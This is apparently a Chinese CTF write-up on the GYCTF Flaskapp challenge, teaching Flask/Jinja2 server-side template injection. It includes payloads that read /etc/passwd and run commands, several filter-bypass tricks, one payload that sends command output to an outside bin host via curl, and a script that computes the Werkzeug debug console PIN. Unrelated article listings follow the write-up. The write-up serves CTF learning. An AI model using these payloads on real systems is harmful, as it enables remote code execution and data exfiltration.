题目复现传送门

学习链接:

找了个师傅的blog先学习一下基础的flask知识

https://www.freebuf.com/column/187845.html(从零学flask)

简单记录一下:

flask 中渲染的方法有两种:

render_template
render_template_string

两者的区别:

render_template()渲染指定的文件

render_template_string()渲染指定的字符串

不正确的使用render_template_string()可能会引发SSTI

模板:

flask使用jinja2作为渲染引擎,在网站的根目录下templates文件夹用来存放html文件(模板文件)

{{}}在jinja2中作为变量包裹标识符,不仅可以传递变量同时也可以执行简单的表达式

SSTI文件读取/命令执行/文件包含

通过python的对象的继承来一步步实现文件读取和命令执行!!!!!!!!!!!!!!!!!!!!

找到父类<type 'object'>–>寻找子类–>找关于命令执行或者文件操作的模块

重要的魔术方法

__class__  返回类型所属的对象
__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__ 返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的 __subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__ 类的初始化方法(找到重载过的__init__类(在获取初始化属性后,带wrapper的说明没有重载,寻找不带warpper的))
__globals__ 对包含函数全局变量的字典的引用
__dict__ 保存类实例或对象实例的属性变量键值对字典
__bases__ 返回类型列表
__builtins__查看其引用

下面记录内容转自!!!!!!!!!!!!!!!!!!!!!:

浅析SSTI(python沙盒绕过)

感谢师傅的blog讲的很详细!!!!!!

攻击流程(以文件读取举例):

获取基本类-->获取基本类的子类-->找到重载过的__init__类-->查看其引用__builtins__(builtins即是引用,Python程序一旦启动,它就会在程序员所写的代码没有运行之前就已经被加载到内存中了,而对于builtins却不用导入,它在任何模块都直接可见,所以这里直接调用引用的模块)-->这里会返回dict类型,寻找keys中可以调用的函数,直接调用,使用keys中的file以实现读取功能

''.__class__.__mro__[].__subclasses__()[].__init__.__globals__['__builtins__']['file']('F://GetFlag.txt').read()

写文件的话就是把后面的read改为write即可(中括号中的数字是“引索”)

命令执行:...........

绕过方法:

1.绕过中括号和     .      :只过滤[ ]时:pop()函数,若也过滤     .   则使用JinJa2函数|attr()

''.__class__.__mro__.__getitem__().__subclasses__().pop()('/etc/passwd').read()
request.__class__改成request|attr("__class__")

2.过滤引号:request.args属性 (是flask中的一个属性,为返回请求的参数,这里把path当作变量名,将后面的路径传值进来,进而绕过了引号的过滤)

{{().__class__.__bases__.__getitem__().__subclasses__().pop()(request.args.path).read()}}&path=/etc/passwd

3.过滤双下划线:request.args属性,request.values是利用POST传参

GET:
{{ ''[request.value.class][request.value.mro][][request.value.subclasses]()[]('/etc/passwd').read() }}
POST:
class=__class__&mro=__mro__&subclasses=__subclasses__

4.过滤关键字:base64编码绕过,__getattribute__(使用实例访问属性时,调用该方法)

例如过滤__class__

{{[].__getattribute__('X19jbGFzc19f'.decode('base64')).__base__.__subclasses__()[]("/etc/passwd").read()}}

字符串拼接绕过

{{[].__getattribute__('__c'+'lass__').__base__.__subclasses__()[]("/etc/passwd").read()}}

5.过滤 {{

使用 {% if ... %}1{% endif %}

{% if ''.__class__.__mro__[].__subclasses__()[].__init__.func_globals.linecache.os.popen('curl http://http.bin.buuoj.cn/1inhq4f1 -d `ls / |  grep flag`;') %}{% endif %}

如果不能执行命令,读取文件可以利用盲注的方法逐位将内容爆出

{% if ''.__class__.__mro__[].__subclasses__()[]('/tmp/test').read()[:]=='p' %}{% endif %}

相关题型:科来杯-easy_flask,QCTF-Confustion1

学习:

探索Flask/Jinja2中的服务端模版注入(一)

探索Flask/Jinja2中的服务端模版注入(二)

flask/jinja2 SSTI入门

Server-Side Template Injection

第二种方法

pin码:

这个题还牵扯到pin码

什么是pin码:  关于PIN码,是在Flask开启debug模式时存在的一个交互shell的key,输入PIN码就可以进入交互shell

爆破pin码:

由于生成PIN码的机制,可以达到脚本爆破效果,只要已知username,machine-id的等等6个参数,就可以爆破PIN码。还需要一个文件读取点做为跳板
//随后补不//
 
 

题目复现:

方法一:SSTI 在decode界面提交base64编码过的payload可以触发SSTI,
看源码可以发现是py3.7的环境,需要Fuzz我们可以使用的类
这里按着师傅的思路,使用wrap_close(),然后再调用popen()
查看目录:
{{ [].__class__.__base__.__subclasses__()[].__init__.__globals__['po'+'pen']('ls').read()}}

读取flag(flag被过滤,用fla\g绕过)

{{ [].__class__.__base__.__subclasses__()[].__init__.__globals__['po'+'pen']('cat  this_is_the_fla\g.txt').read()}}

在BUU重新复现的时候发现,这个payload用不了,因为popen被ban了,我们这样也没有绕过去,那就考虑文件读取,但是不知道flag文件位置啊,所以只有第二种构造pin值了

方法二:

官方wp给出了思路

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/etc/passwd', 'r').read() }}{% endif %}{% endfor %}

构造pin值的关键值::

* . 服务器运行flask所登录的用户名。 通过/etc/passwd中可以猜测为flaskweb 或者root ,此处用的flaskweb

* . modname 一般不变就是flask.app

* . getattr(app, "\_\_name__", app.\_\_class__.\_\_name__)。python该值一般为Flask 值一般不变

* . flask库下app.py的绝对路径。通过报错信息就会泄露该值。本题的值为 /usr/local/lib/python3./site-packages/flask/app.py

* .当前网络的mac地址的十进制数。通过文件/sys/class/net/eth0/address eth0为当前使用的网卡:

* .最后一个就是机器的id。

对于非docker机每一个机器都会有自已唯一的id,linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_i,有的系统没有这两个文件,windows的id获取跟linux也不同。

对于docker机则读取/proc/self/cgroup

学习思路:

https://www.gem-love.com/ctf/1669.html#i-4

先贴个师傅的脚本:

脚本出处:https://xz.aliyun.com/t/2553

import hashlib
from itertools import chain
probably_public_bits = [
'flaskweb',# username
'flask.app',
'Flask',
'/usr/local/lib/python3.7/site-packages/flask/app.py'
] private_bits = [
'2485377957891',# address
'e96996169e90130c1b6e2b3fb9af5b39abcacc1b1f84211a58e27854c3a1219e'# machine-id
] h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt') cookie_name = '__wzd' + h.hexdigest()[:20] num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9] rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)

GYCTF Flaskapp[SSTI模板注入 ]的更多相关文章

  1. XFF SSTI 模板注入 [BJDCTF2020]The mystery of ip

    转自https://www.cnblogs.com/wangtanzhi/p/12328083.html SSTI模板注入:之前也写过:https://www.cnblogs.com/wangtanz ...

  2. SSTI(模板注入)

    SSTI 一. 什么是SSTI 模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的HTML文档. ...

  3. 2018护网杯easy_tornado(SSTI tornado render模板注入)

    考点:SSTI注入 原理: tornado render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页,如果用户对render内容可控,不仅可以注入XSS代码,而且 ...

  4. SSTI(服务器模板注入)学习

    SSTI(服务器模板注入)学习 0x01 SSTI概念 SSTI看到ss两个字母就会想到服务器,常见的还有SSRF(服务器端请求伪造).SSTI就是服务器端模板注入(Server-Side Templ ...

  5. SSTI服务器模板注入(以及关于渲染,solt的学习)&&[BJDCTF2020]The mystery of ip 1

    ssti服务器模板注入 ssti:利用公共 Web 框架的服务器端模板作为攻击媒介的攻击方式,该攻击利用了嵌入模板的用户输入方式的弱点.SSTI 攻击可以用来找出 Web 应用程序的内容结构. slo ...

  6. 1. SSTI(模板注入)漏洞(入门篇)

    好久没更新博客了,现在主要在作源码审计相关工作,在工作中也遇到了各种语言导致的一些SSTI,今天就来大概说一下SSTI模板注入这个老生常谈的漏洞 前言 模板引擎 模板引擎(这里特指用于Web开发的模板 ...

  7. CTF SSTI(服务器模板注入)

    目录 基础 一些姿势 1.config 2.self 3.[].() 3.url_for, g, request, namespace, lipsum, range, session, dict, g ...

  8. SSTI服务端模板注入漏洞原理详解及利用姿势集锦

    目录 基本概念 模板引擎 SSTI Jinja2 Python基础 漏洞原理 代码复现 Payload解析 常规绕过姿势 其他Payload 过滤关键字 过滤中括号 过滤下划线 过滤点.(适用于Fla ...

  9. Flask(Jinja2) 服务端模板注入漏洞(SSTI)

    flask Flask 是一个 web 框架.也就是说 Flask 为你提供工具,库和技术来允许你构建一个 web 应用程序.这个 wdb 应用程序可以使一些 web 页面.博客.wiki.基于 we ...

随机推荐

  1. web前端sprite,精灵图,雪碧图

    css sprite 俗称:精灵图,雪碧图,指将整个页面不同的图片or图标合并在一张图上:优点:使用CSS Sprite 可以减少网络请求,提高网页加载性能,不会出现网页上端加载完毕下面还在加载中这一 ...

  2. HDU_1222_GCD

    http://acm.hdu.edu.cn/showproblem.php?pid=1222 直接用GCD就可以了,gcd大于1表明每次一周后偏移量为0. #include<iostream&g ...

  3. CCF_201604-3_路径解析

    没有用stack来写,直接用了字符串和指针,过程有点复杂的.首先对读入的每一个路径,判断它是绝对路径或者相对路径,然后确定起始的路径,然后继续一位位的判断,"//","/ ...

  4. 小程序云开发--内容安全审查API云调用

    云调用 云调用是小程序·云开发提供的在云函数中调用微信开放接口的能力,需要在云函数中通过 wx-server-sdk 使用. 接口方法 openapi.security.msgSecCheck 需在 ...

  5. golang-练习ATM --面向对象实现

    package utils import ( "fmt" "strings" ) type StructAtm struct { action int loop ...

  6. Ubuntu Xftp 配置

    sudo apt-get updatesudo apt install openssh-serversudo apt-get install vsftpdsudo service vsftpd res ...

  7. 4,ZooKeeper原理

    1,ZooKeeper概述 ··· 作用:     · ZooKeeper是为分布式应用程序提供的一个分布式开源协调框架,是Hadoop和Hbase的重要组件:     · 主要用于解决分布式集群中应 ...

  8. 14.git的安装使用

    目录 一.版本控制器 二.git 简介 git与svn比较 git的工作流程 版本库间的通信 git分支管理 三.git使用 流程(核心总结) 安装 基础命令 将已有的文件夹 - 初始化为git仓库 ...

  9. pyHamcrest

    概念 Hamcrest是用于编写匹配器对象的框架.他提供了一套匹配符Matcher,这些匹配符更接近自然语言,可读性高,更加灵活.Hamcrest还有很好的可扩展性,能够创建自定义的匹配器. 支持语言 ...

  10. Linux 简介、目录结构

    Linux是类 Unix 操作系统. 根据原生程度可分为: 内核版本 发行版本:一些公司.组织在内核版的基础上进行二次开发 根据市场需求可分为: 服务器版:没有好看的界面,在终端操作,类似于dos 桌 ...